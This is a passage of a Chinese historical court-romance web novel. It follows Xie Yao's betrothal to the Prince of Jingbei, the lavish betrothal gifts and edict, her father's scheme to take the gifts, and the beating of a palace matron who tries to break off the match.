芝黛脸色发青,又道:“大婚之前,二小姐还要去京外的成佛寺,为靖北王萧家进香祈福,这是规矩。” 成佛寺是一处大寺,香火鼎盛,坐落在京郊栖凤山上。 昨日下了半天大雪,想上山进香,必然行路艰难。 谢窈仍旧点头:“好。” 芝黛“腾”地起身:“先到这里吧,明早卯时就起,奴婢再教您伺候早膳的规矩,二小姐不要以为,明日还像今天这么简单。” 谢窈:“好嘞。” 脚步声远去,她才拿起那本《女诫》,翻了翻就放下。 她叫来桑若:“你将这个送去孙姨娘那里,就说母亲的命令,她此前御下无能,罚她三日内抄十遍《女诫》,修身养性。” 桑若见芝黛姑姑刚走,桌上就多出一本册子,猜到了什么:“二小姐,这不是太后宫里的宫人让您抄的吗,给孙姨娘,她要是不肯抄呢?” 桑若是母亲身边的丫鬟,谢窈有意历练培养她,所以面对她的问题,没有任何不耐,甚至鼓励她继续问。 “她看见这册子,就会当是太后的命令,不敢不抄。”谢窈耐心回答。 桑若反应过来,这本《女诫》册子比寻常书册精致,且芝黛又来了伯府,孙姨娘必然会以为是太后罚她抄写。 “那要是孙姨娘起疑,去打听怎么办?” “禁足期间,她敢踏出门半步,母亲就可以治她一个不敬之罪,她身边的丫鬟嬷嬷,也不敢这时得罪母亲。” “可事后,孙姨娘如果发现此事的问题,又该如何?” 谢窈:“她不提,我不说,她若问,我没打着太后旗号啊,是她以为太后罚她。” 桑若没有问题了,捧着书册离开。 这时,被她派出府,跟着谢枝的蒲苇回了晚香院。 “小姐,谢枝今日午后就出门了,奴婢跟着到了京郊汴河,看见安平侯府的人在岸边冰钓,谢枝被安平侯迎过去,两人说说笑笑的,亲近得很。”蒲苇如实说道。 昨天,谢枝并未给孙姨娘求情,让谢窈察觉不对,才暗中叫蒲苇注意着些。 没想到,这才一天,还真发现了端倪。 “安平侯,谢枝……” 谢窈喃喃这二人名字。 谢枝被皇上在入宫名册除名,又因为撺掇江三小姐和自己做对,得罪了安平侯夫人,嫁不成丞相府江家,结果兜兜转转,和安平侯勾搭在一起。 谢窈摇了摇头,谢枝可能不知道,她招惹了一个什么样的男人。 安平侯此人,表面青涩俊秀,实际上,不仅风流好色,还喜欢凌虐府中姬妾。 这是谢窈从陆慎言那里知道的。 前世,陆慎言救了安平侯一命,暗中成为侯府幕僚谋士。 那一日,他醉酒后回到陆家,忽然发酒疯鞭打谢窈身边的丫鬟,差点将人打死,谢窈去拦,也被打伤。 事后,陆慎言痛哭流涕,跪地求她原谅,说是安平侯带坏了他,侯府每个月都会死一两个女人,安平侯除了不敢动江家女的侯夫人,连自己妾室,都动辄打骂凌虐。 谢窈眼神淡漠,既然她这位大姐姐自寻死路,那就怪不得她了。 傍晚时,谢枝从外面回来。 她特意换了身鲜亮绯红衣裙,裙摆上绣着金线缠枝纹,头戴镂花长簪,白皙手腕上多了个红玛瑙镶金串珠,一进门就满身珠光宝气。 “听说宫里的芝黛姑姑教导着二妹妹礼仪,谁不知芝黛身份特殊,是老尚书的孙女,还曾教过安平侯夫人。”谢枝语气亲昵。 “二妹妹的福气,真是让人艳羡。” 谢窈冷声反问:“怎么,大姐姐是也想嫁到安平侯府,来跟芝黛姑姑取经?” 谢枝面色一僵,但很快缓过神来,唇角甚至扬起笑意。 自己和侯爷见面,又不是什么见不得人的事,本就没有避着人,看来是被看见了。 谢窈现在冷言冷语,不过是知道自己要嫁给皇上的弟弟,而她只能嫁给靖北王那个残废,恼羞成怒罢了。 她心里愈发得意,轻抚发间长簪:“二妹妹惯会取笑人,我只是出门散心,在汴河偶遇安平侯,和他交谈了几句,哪里敢说是要嫁给侯爷呢。” “不过,侯爷夸我穿红衣好看,带我去织仙坊挑了一条新裙,还赏赐了些女儿家首饰。” 谢窈看着谢枝,眼神无波无澜,像看半个死人。 谢枝换成无奈的神情:“侯爷出手这么大方,却让我担心二妹妹了,婚期已近,靖北王府那边,怎么还没送聘礼过来?难不成,王爷觉得有圣旨赐婚,不打算给二妹妹聘礼了?” 她眼中藏着几分奚落和讥讽。 谢窈摩拳擦掌,露出一抹微笑:“大姐姐是忘了冬至宴上王爷的话,又想挑拨我和王爷感情?” 谢枝蓦地后退两步,和她保持一定的距离。 “不敢,不敢,我只是担心二妹妹的婚事,许是王爷太忙了,二妹妹千万别多想。”她讪讪地说。 此刻,靖北王府。 一人双马的骑兵风尘仆仆闯进王府,看见他身上靖北军衣甲,王府守卫直接放行。 骑兵来到王爷的流霞院,翻身落马,将包袱呈上。 “王爷,王妃的嫁衣,如今八百里加急,属下已经送到!” 箫熠之平静地坐在轮椅上,侧头,看向文昌伯府的方向。 “明日,去谢家送聘。” 第87章 芝黛心累,庶姐要做侧室 八百里加急,用于紧急的军报传递,被王爷拿来运准王妃的嫁衣。 不过,谁也不敢说半句不是。 准王妃的嫁衣,原本需要王府绣娘赶制,若来不及,跟礼部或者尚衣局要一身也行。 王爷却飞鸽传书给靖北军,让人从宁州祖宅,取来了先侯夫人三年前,亲手缝制给未来儿媳的嫁衣。 先侯夫人是老侯爷唯一的妻子,也是王爷母妃。 仍旧谁也不敢说什么。 甚至礼部尚书何大人得知后,还称赞王爷重孝尊礼。 箫熠之接过骑兵呈上的包袱,里面是一方紫檀木的锦盒。 再打开,他的指尖悬停在嫁衣之上,端详着,却不敢触碰。 “样式有些旧了,还得再按照她的尺寸改改。” “王爷放心,绣娘们都准备好了。” 老管家也望着那嫁衣,感叹道:“嫁衣样式都差不离,但现在尚衣局可寻不到这样好的料子了,更没人能比得上侯夫人的绣工,王妃一定会喜欢的。” …… “二妹妹觉得这织仙坊的料子如何,我觉得,不如昨日你那身石榴红的直裾,不过,侯爷执意要送,我只能却之不恭了。” 谢枝不敢再说王府至今没送聘礼的事,而是话头一转,又在谢窈面前炫耀起自己的衣裳。 谢窈道:“大姐姐想孔雀开屏,就去找安平侯,我又不是男子。” 谢枝瞪大眼睛,盯着面色平静的谢窈。 她不相信,谢窈知道安平侯对自己有意,居然一点也不嫉妒。 谢枝的眼神暗了暗,又想起安平侯对她说的话,她脸上强行挤出一抹笑。 “对了,今日在汴河边,我遇见了江尚书的夫人,她说三日后,江家要办一场咏梅宴,邀请了咱家,二妹妹可要和我一起去?” 谢窈:“不去。” 谢枝没想到她拒绝得这么干脆,又劝道:“二妹妹,你以后是靖北王妃,少不了要结交京中权贵妇人,我可以带你认一认。” 谢窈和她对视,清眸冷锐,仿佛看出了她内心的想法。 安平侯夫人,是江家女。 江家举办的宴会,也少不得安平侯露面。 前世,陆慎言前脚救了他一命,他转头就敢说钟意自己,还是在陆家。 再想到昨日安平侯看自己的眼神,所谓的宴会,八成是场鸿门宴。 “婚期将近,我得跟芝黛姑姑学习礼仪,大姐姐自己去吧。”谢窈再次拒绝。 “那真是可惜了。”谢枝讪讪地笑了笑,转身离开。 次日,天刚擦亮,芝黛就又来到晚香院。 她这两日,都住在伯府贵客的上房,所以出入伯府十分方便。 “二小姐还没起吗?婚前的规矩,可半点不能——” 芝黛还没喊完,谢窈已经披衣出现。 清绝如玉的面容,在暗淡的天光中明艳夺目,一双凤眸摄人心魄,自带冷冽威严。 芝黛将苛责的话憋了回去。 她是太后身边伺候的人,什么女子没见过,此刻却感觉,谢二小姐身上,有一股骇人气势。 “见过芝黛姑姑。”谢窈从容地行礼。 芝黛见她虽然刚起,却身姿挺拔,不见半分慵懒,就知道,今天又是头疼的一天。 “今日先教你的,是用膳的规矩。” 正说着,谢明安身边的朱嬷嬷前来:“芝黛姑姑,这是伯爷吩咐厨房,特意给您和二小姐做的早膳,您慢用。” 早膳中有道火腿瑶柱粥,芝黛道了谢,看见之后,眼神忽然柔和了许多。 “二小姐,奴婢就拿这早膳做例子吧,您要看好奴婢如何用膳。” 谢窈点头称是,暗暗在朱嬷嬷和芝黛身上打量。 自从她回京,谢明安就没有管过她一顿饭,居然会派心腹朱嬷嬷来送早膳? 很明显,早膳是送给芝黛的。 谢明安和芝黛的关系,不寻常! 片刻后,见到谢窈比自己还标准的动作,芝黛张了张口,欲言又止。 二小姐有没有被她折磨生气,她不知道,她只知道自己好累。 朝阳初升,今日晴空万里,房檐的雪融化成冰水滴落,是难得的好天气,芝黛的脸色却很苍白,很憔悴。 太后交给她的任务,她应该是完不成了。 “行了。” 芝黛从自己匣子里取出针线和几幅绣样,她已经对刁难谢窈这件事失去了信心,语气都温和了许多。 “这两日除了抄写《女诫》,二小姐再绣个香囊出来,不求多么复杂,只看看女红的基本功。” 说完,芝黛就转身离开晚香院,背影匆匆,显得有些沧桑。 谢窈让七两悄悄跟上去。 她翻看几幅绣样,都是些梅兰竹菊,彩蝶鸳鸯的图案。 芝黛不知道,这个,她还真不太会。 只因当初,陆母包揽了陆慎言浑身上下衣裳鞋袜香囊带钩,不用她绣任何东西,她也乐得省心。 她从没有绣过香囊,有次尝试绣了一朵手帕上的小兰草,被陆慎言看见,说像野草。 谢窈无奈地拿起针线,皱起眉。 此时。 谢枝梳妆打扮齐全,特意换上织仙坊的朱红罗裙,脚步轻快地往伯府偏门走。 一想到昨日她提起靖北王府连聘礼都没送时,谢窈那故作冷静的样子,她就忍不住冷笑。 嫁给一个残疾王爷有什么用,哪里比得上她,小侯爷光风霁月,年轻俊秀,她往后的前程,远胜谢窈百倍。 偏门外,停着一辆不起眼的马车,车夫戴着斗笠。 谢枝看见这辆马车,唇角笑意更甚。 她提着裙摆,悄悄走上前。 “上来。”低沉的声音传来。 车帘被一只骨节分明的大手掀开,下一刻,这双手就按住她肩膀,把她带上了马车。 车厢内光线昏暗,谢枝刚坐稳,就被安平侯揽进怀里。 她脸颊一红,嗔怪地瞪了安平侯一眼:“侯爷怎么这样怀,光天化日地轻薄枝枝,枝枝害怕。” “怕什么,爷疼你还来不及。” 安平侯李钰语气轻佻,捏着谢枝的下巴,亲她白嫩的颈。 他另一只手也不安分,挑起谢枝的衣襟,呼吸有些粗重:“枝枝穿着红衣,真是艳若桃李,让本侯动心。” 谢枝半推半就,和他温存了一会儿。 外面还坐着车夫,她却浑身都软了。 安平侯这才从谢枝身上抬头,状若不经意地问:“枝枝,昨日你说要请你妹妹谢窈去江家赴宴,她应了吗?” 谢枝心里“咯噔”一声,刚升起的柔情散了大半。 谢窈,又是谢窈,她有什么好,让安平侯只见一面就惦记到现在。 她往安平侯怀里缩了缩,声音娇软:“侯爷怎么老是提二妹妹呀,她一个待嫁给靖北王,连聘礼都没有的,估计正郁郁寡欢呢,可不敢出门被人嘲笑。” 谢枝又道:“侯爷答应枝枝的,要纳枝枝为侧室。” 侧室,比妾要好许多。 姨娘就是妾,她决不能也做妾。 “本侯答应你,但是你,也得帮本侯。” 安平侯敷衍地笑着,忍不住咬住谢枝颈间的嫩肉。 他用了些力气,直到谢枝娇滴滴喊疼也没松口,漆黑的眼底阴鸷暴戾。 到嘴的谢家庶女他吃着并不尽兴,而就要嫁给箫熠之的谢窈,不管是身份,还是那张让他动心的脸,对他来说都不一样。 忽然,外面传来一阵敲锣打鼓的声音。 “我的天啊,那是谁家的聘礼!” 伯府门房发出震惊的呼声。 第88章 王爷聘礼,册封王妃! 不多时,外面就传来百姓惊叹的声音。 “好像是礼部的何大人,是礼部来给伯府送聘礼了?” “等等,何大人身后的,是裴侍郎吧?” “哪个裴侍郎?” “当然是裴隽裴侍郎,我大燕第一才子!” “何止是礼部,你们看,那是靖北王府的马车,靖北王也在!” 安平侯猛地掀开马车窗帘帘一角,面容阴沉如冰,一字一顿地问:“是谁,来给谢家送聘?” 只见外面街道上,四匹身披黄金鞍辔的雪白骏马,拉着印有萧家族徽的靖北王车架,悠悠停到伯府门口。 连车辙上都刷着金漆,在朝阳下光华耀目。 紧跟着二十名身披金甲,手持长槊的皇宫禁卫,护送后面深红官服的中年男子和两名绿袍官员,外加一个绯红官服的裴隽。 中年男子身材微胖,一路小跑才能跟上靖北王的马车,却给人端方雅正的感觉。 再后面,是身穿喜庆红衣的锣鼓队伍,和一个个金漆吉祥纹的箱货,箱内隐隐露出流光溢彩的绫罗绸缎。 六对系着红绸的大雁,两尊一人高的珊瑚树,也看得人眼花缭乱。 更有一队足足百人,披坚执锐的王府亲卫,铁塔般矗立在两侧,周身是战场历练的铁血气息。 靖北王府的亲卫,都是军中老卒,此刻,虽然穿的没有金甲的皇宫禁卫漂亮,那股煞气,却让人心惊胆寒。 道路两旁的百姓早已震惊万分,这番阵仗,比前几年安平侯夫人江氏,嫁给安平侯时声势还要浩大。 可安平侯曾经是安亲王,是皇上的弟弟啊! 这,只是靖北王府的送聘! “这么多聘礼,都是给谢窈的?!” 谢枝的声音都在发颤,一股酸意从心底直冲头顶,让她胸口发疼。 昨日,她还在嘲讽谢窈连聘礼都没有,转眼间,靖北王府整出了这样大的排场,说是皇族亲王下聘,也不过分! “她凭什么,凭什么……”谢枝喃喃自语。 谢窈一个乡野边境长大的丫头,凭什么得到靖北王如此看重? 安平侯也死死地盯着外面那些队伍,眼底翻涌着癫狂的恨意。 外面的车夫先前听到侯爷询问,特意去打探了一番。 此刻,他压低声音,通报道:“侯爷,是靖北王亲自来给谢家嫡二小姐下聘了,跟着一起来的,还有礼部尚书何裕大人,宫里也派出了一支禁卫,至于那位裴侍郎,说是奉皇上口谕来沾沾喜气。” “听说,靖北王之所以一直未曾下聘,是为了等八百里加急,送来当年靖宁夫人给靖北王妃亲自做的嫁衣。” “是吗,”安平侯低低地说,“本侯那位皇兄,对箫熠之可真大方。” 只是送个聘礼,就派出一位三品尚书,一名四品实权侍郎。 二十人的皇宫禁卫,只是来给箫熠之撑门面。 整个燕国,已经不再领兵,却还能在自家配额这么一队如狼似虎的亲卫的,只有箫熠之! 而他堂堂安平侯,皇上的弟弟,府中多几个护院家丁,都会被朝上那些迂腐言官啰嗦。 凭什么,箫熠之能有亲卫? 安平侯听到谢枝自语“凭什么”,内心越发愤恨。 “贱人。”谢枝咬碎了牙,指甲深深地陷入掌心。 差一点,她就能嫁给靖北王,这些聘礼,还有今日的风光,明明该是她的,是谢窈抢走了她的前程。 “你不是说谢窈没有聘礼吗,呵,蠢女人。” 忽然,安平侯不耐地怒斥了一句,火热的身躯,再次覆盖上来。 马车狭小,他又发了狠,谢枝被撞到车壁上,磕疼了后背,忍不住嘶喊吸气,娇声求饶。 侯府车夫听着车内传来的动静,都面红耳赤。 见她还挣扎,安平侯将她狠狠按在怀里,咬着她耳朵,声音冰冷低沉。 “闭嘴,若发出声音,别怪爷在这儿要了你,让外面的人也看看你的浪样。” 谢枝泪水委屈地掉下来,却不敢再出声。 伯府内,门房一路高呼:“伯爷,伯爷,赶快前来接旨,靖北王府来送聘礼了,尚书大人也带着册封诏书来了!” 若仅仅是王府聘礼,只需伯夫人收了便是。 但靖北王亲自前来,身后,还跟着礼部尚书,以及两名礼部员外郎官员,这阵仗,就不一样了。 要知道,自家伯爷是礼部侍郎,礼部尚书何裕,是他的顶头上司啊。 伯府对何夫人都礼遇有加,不敢怠慢,何况是何裕本人。 礼部是没有户部吏部那些大人有实权,但是,何大人这两年主持春闱,在燕国文人心中,那地位,快赶上江老丞相了,被称为燕国清贵之首。 谢明安急匆匆地从自己书斋走出来,火速整理发冠衣衫,沐浴更衣,还抬出了香案,率领伯府众人接旨。 礼部尚书何裕拿出圣旨诏书,众人跪下听旨。 何裕身后,靖北王坐在轮椅上,身着朱紫绣蟒纹袍服,比起昨日肃穆衣袍,更添几分贵气。 白术白蔹兄弟二人身穿一模一样的锦衣,一人佩刀,一人抱刀,似门神站在王爷左右,同样没有下跪的意思。 何大人余光看见他们仨,眼皮子跳了跳,忍了。 皇上登基后的第一道旨意,就是靖北王可以王侯公爵不拜,入朝不趋,剑履上殿,谒赞不名,甚至允许他见皇帝不跪。 何大人打开圣旨,举止端正守礼。 “奉天承运皇帝诏曰,文昌伯嫡女谢窈,系出名门,德容端肃,今择此贤淑,允协佳偶,特以金册金宝,册立为靖北王妃。钦此。” 此前,庆才公公前来宣旨,是给靖北王和谢家嫡女赐婚。 而这次,由礼部尚书,整个大燕清贵之首,前来册封谢窈的王妃之位,并且与靖北王一同来送聘礼。 这样的恩典,整个燕国,是头一份! “谢陛下隆恩!” 谢窈率先从何大人手中接过圣旨,行礼谢恩后站起身。 谢家其他人还没反应过来,都低着头。 谢明安额头抵在冰冷地面上,悄然抬头,望着靖北侯身后,还在络绎不绝往伯府运的嫁妆,心中狂喜。 第89章 打聘礼注意?王爷只给她一人 谢明安盯着一个个连箱子上都刷着金漆的礼箱,喉咙滚动。 本以为靖北王和谢窈是皇上赐婚,萧家最多送一身嫁衣过来,不会再给聘礼了,没想到,来的不止是嫁衣,聘礼,还有皇上的册封诏书,更是户部尚书亲自前来宣旨! 这个逆女,总算有几分用。 何大人宣读完诏书,温和地打量谢窈。 这可是小如晦的妻子,他得好好看看。 “昨日夫人回府后,便跟我说了谢家二小姐的不凡,今日一见,果然是国色天香,与王爷是佳偶天成的一对。”他笑着说。 箫熠之语气平静,却语出惊人:“本王也这般认为。” 谢窈谦和地说:“尚书大人谬赞了,晚辈愧不敢当。” 何大人捋起蓄的胡须,故意抬高声音:“谁说谢家二小姐不知礼仪的?本官以为,二小姐知书达理,不卑不亢,落落大方,不愧是靖北王妃!” 有他这个礼部尚书替谢家二小姐说话,那些乡野村妇的讥讽流言,从今日起,便不攻自破! 何大人说完,骄傲地昂首,看向箫熠之,眼神就透着一句话:怎么样,如晦满意了吧。 前几日,如晦亲自找上他,请他做送聘礼的朝廷官员,又暗示他到谢家后,替谢家二小姐说话。 这还是如晦第一次求他。 现在,何大人美滋滋地等如晦感激自己。 没想到,靖北王已经不紧不慢地抬头,看天,看云。 何大人嘴角一抽,暗道一声算了,习惯了。 他又客气地说:“明安老弟真是好福气,生了个好女儿啊。” “小女顽劣,能得尚书大人青睐,才是她的福气。” 谢明安寒暄了几句,就装作不经意地下令:“王爷送来的聘礼太多,晚香院怕是装不下,朱嬷嬷,你领这些小兄弟到库房,将聘礼搬进去。” 许素素上前了两步,鼓起勇气,主动站出来,拦住了朱嬷嬷。 “谁说晚香院装不下?” 她的脸色仍旧苍白,声音不高不低,但让人无法忽视。 看见她,何大人就想起昨日夫人回家后,跟自己说,文昌伯宠妾灭妻的事。 许素素字句清晰:“伯爷不必担心,我已将库房腾空,晚香院还有数间空房,无论如何也能装下。” 她攥紧拳头,决不允许任何人打她女儿聘礼的主意。 谢明安面色一沉,眼底闪过幽光。 这个女人,执掌中馈还不到三天,就敢和他对着干了。 那么严重的肺痨,也没让她学会乖觉。 他扫过谢窈,心中冷笑。 她以为她有这丫头撑腰,就能做伯府的女主人? 等谢窈嫁出去,呵。 “夫人这是什么意思,难道在你眼里,本伯这个当爹的,是贪图女儿聘礼那种人?”谢明安面上不动声色,只是皱起眉头,一身正气地反问。 许素素碰了个软钉子:“我不是这个意思。” 谢窈忽然开口:“母亲不是这个意思,但是,不好意思,女儿就是这个意思。” “你这丫头,当着何大人与王爷的面,胡说八道什么?”谢明安怒道。 谢窈重复:“在女儿眼里,父亲确实是会贪图女儿聘礼的那种人。” “你!”谢明安脸色铁青。 何大人咳了咳:“谢老弟,本官听说,你前两天刚中了毒,这掌家之权已经交给家中正妻了,既然如此,何必和她争夺这些聘礼放在哪儿呢。” 众目睽睽之下,谢明安挤出一抹僵硬的笑容。 “大人有所不知,是这丫头对本伯的偏见太深,下官只是要将聘礼收到库房里,登记造册,过几日,这些原封不动,都是她的嫁妆。” 闻言,谢窈眼皮都没抬,淡淡地说:“既然过几日都是女儿的嫁妆,那父亲何必多此一举,挪到库房?脱了裤子站在高塔上放屁?” “你粗鄙!”谢明安厉声吼道。 谢窈又露出受伤的神情:“父亲看不起我出身健妇营,看不起我就是看不起长公主……” 谢明安咬牙切齿:“你年纪尚轻,又不懂理财,哪里会看账目财货,财物之事,自然是本伯负责。而且,本伯是你的爹,爹管女儿账,天经地义。” 箫熠之缓缓开口:“文昌伯说错了,本王的聘礼,是给谢二小姐一个人的,她会不会理财,也都是她一个人的。” 他望着在那里露出可怜模样的谢窈,唇角悄然扬起,眼神更加冷戾:“怎么,还没成亲,伯爷就要摆出丈人的谱,替王妃管起财物了?” 谢明安胸口一阵气血翻涌,感觉自己之前中的余毒未清,又要被气得吐血。 前一刻说你我是一家人,后一刻就说还未成亲,与谢家毫无关系。 这世上,怎么会有箫熠之这种阳奉阴违之人? 可偏偏此人是自己女婿,更是一人之下万人之上的靖北王,他只能赔笑脸。 何大人看在眼里,摇了摇头。 他与文昌伯同朝为官多年,又是上下级关系,深知文昌伯表面清廉,暗地里却出手阔绰,喜欢拉帮结派,讨好上级。 他就算不清楚谢明安人品如何,也明白一个道理——善用钱财收买人心的人,本身也必然贪财。 只是,他居然打嫡女聘礼的主意,实在是令人不齿。 最重要的是,何大人看出箫熠之对谢明安的不屑,何家与萧家是世交,他自然是帮箫熠之说话。 何大人道:“谢老弟,王府送来的聘礼,都是陛下亲自过目了的,五日后就是大婚,你要真能给出和王府相当,或者更多的嫁妆,那让你收入库房倒也可以。” 他眼神一肃,继续说:“但若现在夸下海口,到时候嫁妆被你自己扣下来,少了许多……传出去,怕是显得伯府对王爷不敬,难保陛下不会问责。” 何裕这个多管闲事的狗官,谢明安见他将皇帝抬了出来,心中暗骂。 谢明安本想反驳,陛下怎会在意谢窈嫁妆多少,却看到前些日子刚引为知己的小兄弟裴隽,正在朝他用力眨眼睛。 裴隽身份特殊,算皇上的表弟。 他出现在这里,代表皇上真的关心这件事! 谢明安纵然再不甘心,也只能连连称是:“大人所言极是,下官哪敢留下王爷的聘礼,必然得全都算作嫁妆,送还王府的。” 许素素松了一口气。 还好,王爷给了她家阿窈足够的体面,谢明安也没办法跟女儿抢这些聘礼。 她再添一些,如此,女儿的嫁妆,也不算委屈。 箫熠之玄眸幽深,冷不丁再次开口:“文昌伯又说错了,这些聘礼若当成嫁妆,是给谢窈一个人的,而不叫奉还王府。” 谢明安僵硬地附和:“是,下官说错了话,求王爷宽恕。” “伯爷客气了,你我是一家人,谈什么宽恕不宽恕呢。”箫熠之脸色倏然变得平和,不紧不慢地说。 谢明安嘴角抽动:“来人,帮二小姐将聘礼收入晚香院。” 谢窈:“不用了,七两忍冬,你们和王爷的人一起搬吧。” 箫熠之挥了挥手,白术会意,指挥着王府亲卫,将一箱箱聘礼抬进晚香院。 谢明安心如死灰,脸色阴晴不定。 这么大的排场,这么重的聘礼,全都给了谢窈这个丫头,他怎么甘心。 若不是他把谢窈召回京,这桩婚事还成不了,结果,伯府没捞到什么好处,倒是让谢窈风光无限。 谢家二房一家缩在角落里,也看的眼热。 谢二爷的小儿子道:“二姐姐这下可风光了。” 谢二爷脸色难看:“不知道大婚之时,又是什么盛况呢,这丫头,真是麻雀飞上枝头,变凤凰了。” 二房夫人低声感叹:“这排场,比起之前安平侯府成亲还要盛大。” 说着,她刚想凑近多看聘礼一眼,就被靖北王的亲卫冷眼一瞥,顿时噤声,拉着小儿子迅速走了。 裴隽走上前,他身姿玉立,唇畔浅笑:“陛下让我来沾沾喜气,如今喜气已经沾到,裴某告辞了。” 他又语气真挚道:“裴隽在此祝谢二小姐新婚顺遂,自在随心。” 谢窈颔首:“多谢裴侍郎。” 裴隽深深看了她一眼,转身离开,一身绯红官服,背影如松如竹。 箫熠之轮椅扶手的手攥紧,忍不住问出句冰冷酸涩的话:“他怎么,不祝本王也新婚顺遂?” 第90章 芝黛受惩,王妃可满意? 靖北王说完这话,自己一时也怔住了。 他缓缓转头,看向远处覆盖着一层冰雪的海棠树,出神不语。 白蔹却没有想太多,脑子一热,接话道:“王爷想让裴侍郎给您送祝福?需要属下把他叫回来吗?” 白术看着自己弟弟,像在看傻子。 靖北王指使白术,把自己轮椅推得距离白蔹远一些。 他怕被感染。 谢家众人离开,何大人和两名礼部员外郎,也向谢窈告辞。 一阵祝福后,何大人又道:“剩下的吉祥话,本官等大婚之日再说。” 两位礼部员外郎对视后,惊讶地问:“王爷大婚,也是您做礼官?” 按照燕国习俗,伯爵以上爵位的亲贵成亲,要由礼部或皇室宗亲出一人当礼官,与新郎官一起迎亲。 几年前安平侯大婚时,就是由文昌伯兼礼部侍郎谢明安迎亲,这已经是很体面了,双方都很满意。 上一次让礼部尚书做迎亲官员,还是当年那些还未造反的亲王们大婚。 何大人笑了笑,道:“本官,确实是迎亲礼官之一。” 礼部二人自行忽略了“之一”,认为这是何大人自谦的说法。 他们看谢二小姐的眼神,已经是敬重谨慎。 谢窈得知何尚书还是迎亲礼官,深深向他躬身行礼:“多谢大人。” 何大人今日来送聘,宣读册封诏书,又在刚才大声夸赞自己落落大方,看似只是几句话,实际上,却改变了她回京后一直以来的恶名,提升了她的声望。 谢窈不怕恶名,但对别人的好意,她也坦然感谢。 何大人呵呵一笑,临走时,意有所指地说:“二小姐要谢,就谢王爷吧。” 谢窈看向靖北王。 他忽然挺了挺身,若无其事地扫着晚香院的风景,似乎对那棵海棠树很感兴趣。 何裕这老小子,以前没发现他这么会说话。 忽然,他视线一顿。 院内石桌上放着个绣绷,绷着张青色绸缎,上面绣了寥寥几针,看不出到底是个什么花样。 靖北王的母妃靖宁夫人出身将门秦家,却有一手令人叫绝的好女红。 箫熠之自幼看着母妃刺绣缝衣,对这些绣样绣绷,都极为熟悉。 再看这个,他悄悄瞧了瞧自己的王妃,心想,总算捉到一件她不擅长之事。 这时,芝黛回到晚香院,看见王爷,连忙上前行礼:“奴婢见过王爷,王爷千岁。” 箫熠之回过神,收回视线,面无表情地看她:“何事?” 他认得芝黛,知道她是太后身边的宫女。 芝黛看了看面容平和的谢窈,再看脸色冷峻的靖北王,眼神变幻。 既然谢二小姐油盐不进,那就别怪她,从靖北王处下手了。 芝黛鼓起勇气,口出恶言:“王爷,奴婢出宫之前,听太后说,谢家只是伯爵,谢家二小姐又是边境长大的女子,粗鄙野蛮,不知规矩礼仪,恐照顾王爷不周——” 她的话不算高,但谢窈和白术白蔹,都听到了。 白蔹跳起来,大喝一声:“放肆,芝黛,别以为你是太后宫里的宫人,就敢对谢二小姐不敬!” 白术也板着脸,沉声道:“姑姑这话僭越,王妃如何,不是你能议论的。” 这一个月,他们早已看出,王爷很看重谢二小姐。 他们也已经把谢二小姐当成王妃看待。 芝黛竟敢在王爷面前,说王妃的不好? 谢窈听到芝黛的话,微眯起眸子,却并不生气。 这些话,她听过太多了。 看来,芝黛是发现无法激怒自己,让自己拒婚,所以改变思路,打算说服箫熠之了。 她倒是好奇,她要怎么说。 反正已经得罪谢窈,芝黛顶着白术白蔹杀气腾腾的目光,硬着头皮,图穷匕见: “所以,只要王爷同意,全京城没有婚嫁的世家贵女,任您挑选,即便是皇上赐婚,太后也能亲自为您转圜,给您指更好的。” 此话一出,院里的蒲苇等丫鬟,都面色骤变。 之前,芝黛只能算是借太后名义,敲打二小姐。 可现在,她是要破坏二小姐和靖北王的婚事! 同时,她们也紧张地望着靖北王,心提到了喉咙。 若靖北王真说不愿娶二小姐,那可怎么办? 箫熠之平静的面容,沉了下去。 他黑眸如渊,语气幽冷:“这话是你说的,还是太后说的?” 芝黛刚想说这是太后的意思。 箫熠之又道:“大胆奴婢,敢在本王面前,挑拨太后皇上母子情分,白蔹,打!” 白蔹就等着这句话呢,猎豹似的窜出去,一脚踹到芝黛胸口。 他力气惊人,把她直接踹到海棠树下,惊落了满树落雪。 芝黛惊叫一声,嘴角溢出鲜血。 还没来得及求饶,白蔹已经行至身前,揪住她衣领,砰砰对着眼睛两拳,毫无怜香惜玉之意。 箫熠之漠然睨视,又问:“这话是你说的,还是太后说的?” 芝黛急忙爬起来,已经是披头散发,声音嘶哑:“是太后……不不不,是奴婢……不,是奴婢会错了太后意思,奴婢失言,求王爷恕罪!” “可惜了。” 箫熠之语气遗憾。 白蔹摩拳擦掌,好奇地问:“可惜什么?” “可惜送聘是吉日,大喜的日子,不宜见血,本王不能直接割了她的舌头。” 他又看向谢窈:“此奴婢言行无状,本王替你惩治了她,不知王妃可满意?” 芝黛瘫倒在地上,顶着一对黑眼圈,眼巴巴盯着谢窈,眯成缝的眼睛透着乞求。 谢窈点头:“满意了。” 芝黛浑身一软,松了口气。 箫熠之却眉头皱起:“但本王还是不满意,要么,还是割了她舌头吧。” 芝黛:“……” 之前去清点聘礼的许素素回来,看到这一幕,蒲苇将事情原委告诉她,她的脸色也变了。 箫熠之忽然轻咳两声,示意白蔹回来,眼底有几分紧张。 岳母大人,会不会认为他手段狠辣? 而且,他差点忘了岳母身子不好,在她面前动粗,怕是会吓到她。 许素素盯着芝黛,面如冰霜:“今天是王爷下聘的吉日,的确不宜见血。” 谢窈问道:“母亲是要为芝黛求情?” 芝黛连忙磕头:“奴婢奉太后懿旨,来教导二小姐婚前礼仪,无一不尽心,求伯夫人宽宥!” 许素素眼神更冷,开口:“既然不能割舌头,那就让芝黛跪在晚香院门口,掌嘴几下后,送回宁寿宫吧。” “我和女儿这里庙小,装不下这等狗仗人势的恶奴。” 第91章 震惊,王爷绣花?送她白绫 芝黛还没反应过来,本以为,谢二小姐说了满意,靖北王说今日不宜见血。 自己又挨了白蔹两拳,应该是没事了吧。 她还特意在许素素面前提,她是太后派来的。 没想到,从前跟她见过几面,谢明安口中最怯懦窝囊的许素素,竟如此狠辣决绝,要让自己当众被掌嘴! 见众人还愣着,许素素眼神更冷:“还不动手。” 桑若和忍冬一起,把芝黛拖到门口。 “奴婢错了,奴婢言行无状,真该死!” 她咬了咬牙,没等桑若动手,先自己狠狠扇了自己一巴掌。 许素素冷眼看着,眼中并没有一丝心软。 芝黛敢教唆靖北王拒婚,这是在害女儿的命。 虽然她之前也想过,如果谢窈不嫁靖北王,嫁给那位名满燕国的裴侍郎,也并无不可。 裴隽一表人才,又主动示好,女儿还是他的恩人,嫁过去,不会吃亏。 但那是之前。 女儿拒绝了裴隽,已经和靖北王绑在了一起。 